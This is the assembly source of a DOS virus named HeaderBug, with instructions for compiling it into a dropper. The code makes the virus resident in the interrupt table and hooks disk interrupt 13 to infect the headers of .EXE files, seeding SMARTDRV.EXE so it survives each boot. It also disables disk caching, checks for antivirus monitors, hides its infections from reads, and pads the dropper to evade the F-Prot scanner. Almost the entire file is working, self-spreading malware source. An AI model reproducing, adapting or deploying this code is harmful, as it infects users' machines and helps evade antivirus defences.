;============================================================================= ; Virus Name: HeaderBug ; Effective Length: 324 Bytes (no increase in file length) ; ; Notes: ; - resident, BIOS-level-stealth .EXE header infector ; - undetectable by any current A-V scanner even w/o stealth ; - infects SMARTDRV.EXE to ensure residency at each boot ; - infects .EXE header sectors whenever accessed for write ; OR read (during reads only if A-V monitor is not ; resident) ; - As a result, will infect every target .EXE file during ; even such operations as a fixed disk DEFRAG ; - successfully infects Windows .EXE files without ; detection even when 32-bit file access is in use ; - does not decrease available memory ; - no harmful payload ; ; To Compile: ; - use shareware A86 assembler ; - type "a86 headbug.a86" ; - resulting headbug.com is actually an .exe file. ; It is a virus dropper which, if executed, will infect ; your system with HeaderBug ;============================================================================= start_offset equ 07d*4-1 res_offset equ start_offset-01a0 com_offset equ 0100 header_offset equ 01a0 infect_tag equ 0c033 setver_tag equ 0d4a viruslength equ 0144 old_code_length equ 012 EH_Signature dw 'ZM' ;set to 'MZ' or 'ZM' for .exe files EH_Modulo dw 0000 ;remainder of file size/512 EH_Size dw 0012 ;file size/512 EH_Reloc dw 0000 ;6 ;number of relocation items EH_Size_Header dw 000a ;8 ;size of header in paragraphs EH_Min_Mem dw 0240 ;minimum paragraphs needed by file EH_Max_Mem dw 0240 ;maximum paragraphs needed by file EH_SS dw 0240 ;stack segment displacement EH_SP dw ? ;stack pointer EH_Checksum dw ? ;checksum, not used EH_IP dw 0000 ;14 ;instruction Pointer of Exe file EH_CS dw 0000 ;16 ;code segment displacement of .exe EH_1st_reloc dw ? ;first relocation item EH_ovl dw ? ;overlay number db 084 dup ? ;pad rest of header w/dummy bytes ;----------------------------------------------------------------------------- ; Header_entry - Tests interrupt vector table for room and if there is room, ; installs virus in unused area of interrupt table. Read and write disk ; cache on all drives are disabled (prevents infection problems), SMARTDRV ; infected in default directory to ensure that virus becomes resident on each ; boot and that SMARTDRV's disk cache is never installed. SMARTDRV is ; infected through read-file action (not write) by installed int13 routine. ;----------------------------------------------------------------------------- header_entry: xor ax,ax ;set ax=0 mov ds,ax ;set ds=ax mov es,ax ;set es=ax dec ax ;set ax=ffffh as flag for zero_test mov si,start_offset ;set si to start address in INT table push si ;save value for later use call zero_test ;check for clear area in INT table pop di ;set destination offset to INT table jc exit_header ;if area not clear, exit, don't install xor si,si ;set source offset to virus start call move_it ;move virus to empty space in INT table mov di,offset old13+res_offset ;set destination for int13 mov si,013*04 ;set source for int13 vector push si ;save value for later use movsw ;copy int13 vector movsw pop di ;set destination for new value mov ax,offset int13+res_offset ;virus int13 routine offset stosw ;store new offset in int13 xor ax,ax ;virus int13 routine segment stosw ;steal int13 mov bx,03 ;value required for STATUS call mov bp,05 ;set max. number of drives kill_cache: mov ax,04a10 ;SMARTDRV STATUS function push ax ;save it for later use mov dl,02 ;turn off drive's read buffer int 02f ;do it pop ax ;restore ax mov dl,04 ;turn off drive's write buffer int 02f ;do it dec bp ;decrement drive number jns kill_cache ;if drive number >=0, repeat process push cs pop ds ;set ds=cs mov ax,03d00 ;open file w/handle mov dx,offset filename-header_offset ;point to filename int 021 ;do it jc exit_header ;if flag=fail, exit mov bx,ax ;save handle mov ah,03f ;read file w/handle mov ch,02 ;read 200h bytes (header sector) mov dh,02 ;point to buffer area beyond virus int 021 ;do it (infect SMARTDRV.EXE header) mov ah,03e ;close file w/handle int 021 ;do it exit_header: mov ah,04c ;terminate with return code int 021 ;do it filename: db 'C:\DOS\SMARTDRV.EXE',0 ;file to initially infect ;----------------------------------------------------------------------------- ; Int13 - On any read or write, checks sector for .EXE header characteristic. ; Checks for word found in header of SETVER.EXE to prevent infection and ; resulting problems (lockup) when an infected SETVER is loaded from default ; CONFIG.SYS. If sector is being read, checks for infection then checks for ; presence of A-V monitor before infecting. If sector is being written, only ; checks for SETVER header, since stealth on prior int13 would hide previous ; infection and since any A-V monitor would expect a write action. In both ; read or write cases, sector is restored to appear identical to pre-infection ; before buffer containing .EXE header is presented to calling program. Name ; of virus stored in area of interrupt table used by TBDriver vectors in ; order to prevent system crash if TBDriver is loaded after virus is resident. ;----------------------------------------------------------------------------- int13: push cx ;preserve registers push si push di push ds push es pop ds ;set ds=es cmp ah,03 ;write operation? je write ;if so, jump to write routine cmp ah,02 ;read operation? jne chain_old_int13 ;if not, exit read: pushf call far cs:[offset old13+res_offset] ;call int13 (read sector) jc exit_int13 ;if flag=fail, exit mov si,'ZM' ;bytes indicating .EXE header cmp [bx],si ;.EXE header? jne exit_fail ;if not, exit cmp [bx+014],setver_tag ;is this SETVER's header? je exit_fail ;if so, exit cmp [bx+0a0],infect_tag ;already infected? je disinfect ;if so, jump to stealth routine push ds ;preserve ds xor di,di ;set di to virus destination mov ds,di ;set ds to point to INT vector table cmp byte ptr [040*4+3],0f0 ;int40 still pointing at ROM? pop ds ;restore ds jb exit_fail ;if not pointing at ROM, A-V monitor ; present, so exit push cx ;preserve cx call infect ;infect header in buffer pop cx ;restore cx jc exit_fail ;if flag=fail, exit mov ax,0301 ;write infected header buffer pushf call far cs:[offset old13+res_offset] ;do it (call original int13) disinfect: lea si,[bx+offset old_header-com_offset] ;set source for code lea di,[bx+06] ;set destination mov cx,old_code_length ;set length of old code to restore cld ;move direction=forward rep movsb ;restore original code to header xor al,al ;set al=0 mov cx,viruslength+old_code_length ;set # bytes to overwrite lea di,[bx+0a0] ;set destination for writes rep stosb ;overwrite viral code with zeros exit_fail: clc ;clear carry to hide any I/O errors exit_int13: pop ds ;restore registers pop di pop si pop cx retf 02 ;return to calling program tbdriver_vector_area: db '=HeaderBug=' ;space filler for TBDriver vector write: mov si,'ZM' ;bytes indicating .EXE header cmp [bx],si ;.EXE header? jne chain_old_int13 ;if not, exit cmp [bx+014],setver_tag ;is this SETVER's header? je chain_old_int13 ;if so, exit push ax ;preserve ax call infect ;infect header in buffer pop ax ;restore ax chain_old_int13: pop ds ;restore registers pop di pop si pop cx db 0ea ;"jump far" old13: dw 02 dup ? ; to address of orig. int13 routine infect: lea si,[bx+0a0] ;set si=source offset for virus code zero_test: mov cx,viruslength+old_code_length ;set scan count to virus length cld ;set direction of scan=forward test_byte: lodsb ;load a byte from area to be scanned or al,al ;check for zero loopz test_byte ;if zero, check next byte or cx,cx ;counted down to zero w/o prior exit? jz infect_OK ;if so, area is clear to infect stc ;set "clear-to-infect" flag ret ;return to calling routine infect_OK: inc ah ;increment ah jz exit_infect ;true if calling routine=header_entry mov cl,old_code_length ;length of old header code to preserve lea si,[bx+06] ;set source for old code lea di,[bx+offset old_header-com_offset] ;set storage destination rep movsb ;store old code in virus xor ax,ax ;set ax=0 lea di,[bx+014] ;set destination to cs:ip location stosw ;set cs:ip values in header to 0:0 stosw ; by storing zeros in their locations lea di,[bx+06] ;set destination to # of reloc. items stosw ;set # of relocation items to zero mov al,0a ;set header size value to 0ah to stosw ; place entry point at start of virus mov si,start_offset ;set si=start offset of virus lea di,[bx+0a0] ;set di=destination offset in buffer move_it: push ds ;preserve ds push cs pop ds ;set ds=cs mov cx,viruslength ;set cx move count to length of virus cld ;set direction of move to forward rep movsb ;move virus to header in buffer pop ds ;restore ds exit_infect: clc ;clear flag to hide any I/O errors ret ;return to calling routine old_header: db old_code_length dup ? ;storage area for original header ; contents dummy_bytes: db 0220a dup ? ;dummy bytes used to increase dropper ; length to avoid detection by f-prot